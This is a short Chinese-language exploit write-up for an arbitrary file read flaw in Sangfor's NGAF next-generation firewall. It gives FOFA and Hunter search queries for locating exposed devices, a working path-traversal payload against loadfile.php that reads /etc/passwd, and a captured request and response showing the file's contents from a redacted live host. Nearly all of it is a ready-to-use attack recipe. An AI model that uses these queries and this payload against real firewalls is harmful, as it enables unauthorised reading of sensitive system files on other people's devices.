S2-1深信服-下一代防火墙-任意文件读取

漏洞描述：

深信服下一代防火墙NGAF存在任意文件读取漏洞，攻击者可以利用该漏洞获取敏感信息。

网站图片：

网络测绘：

fofa语法：

"Redirect.php?url=/LogInOut.php" && port="85"

Hunter 语法：

web.body="LogInOut.php?type=logout"

漏洞复现：

payload：

```
/svpn_html/loadfile.php?file=/etc/./passwd
```

效果图:

```
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Connection: close
Accept: */*
Content-Type: application/x-www-form-urlencoded
y-forwarded-for: 127.0.0.1
Accept-Encoding: gzip

[DBG] [sangfor-ngaf-fileread] Dumped HTTP response https://[redacted]/svpn_html/loadfile.php?file=/etc/./passwd

HTTP/1.1 200 OK
Connection: close
Cache-Control: private, proxy-revalidate no-transform
Content-Disposition: attachment; filename="passwd"
Content-Type: application/octet-stream
Date: Fri, 13 Oct 2023 08:10:50 GMT
Pragma: no-cache
Server:
Vary: Accept-Encoding,User-Agent


00000000  2f 65 74 63 2f 2e 2f 70  61 73 73 77 64 72 6f 6f  |/etc/./passwdroo|
00000010  74 3a 78 3a 30 3a 30 3a  72 6f 6f 74 3a 2f 72 6f  |t:x:0:0:root:/ro|
00000020  6f 74 3a 2f 62 69 6e 2f  73 68 0a 6e 6f 62 6f 64  |ot:/bin/sh.nobod|
00000030  79 3a 78 3a 36 35 35 33  34 3a 36 35 35 33 34 3a  |y:x:65534:65534:|
00000040  6e 6f 62 6f 64 79 3a 2f  6e 6f 6e 65 78 69 73 74  |nobody:/nonexist|
00000050  65 6e 74 3a 2f 62 69 6e  2f 73 68 0a 73 73 68 64  |ent:/bin/sh.sshd|
00000060  3a 78 3a 31 30 37 3a 36  35 35 32 34 3a 3a 2f 76  |:x:107:65524::/v|
00000070  61 72 2f 72 75 6e 2f 73  73 68 64 3a 2f 73 62 69  |ar/run/sshd:/sbi|
00000080  6e 2f 6e 6f 6c 6f 67 69  6e 0a 74 63 70 64 75 6d  |n/nologin.tcpdum|
00000090  70 3a 78 3a 31 30 30 30  3a 31 30 30 30 3a 3a 2f  |p:x:1000:1000::/|
```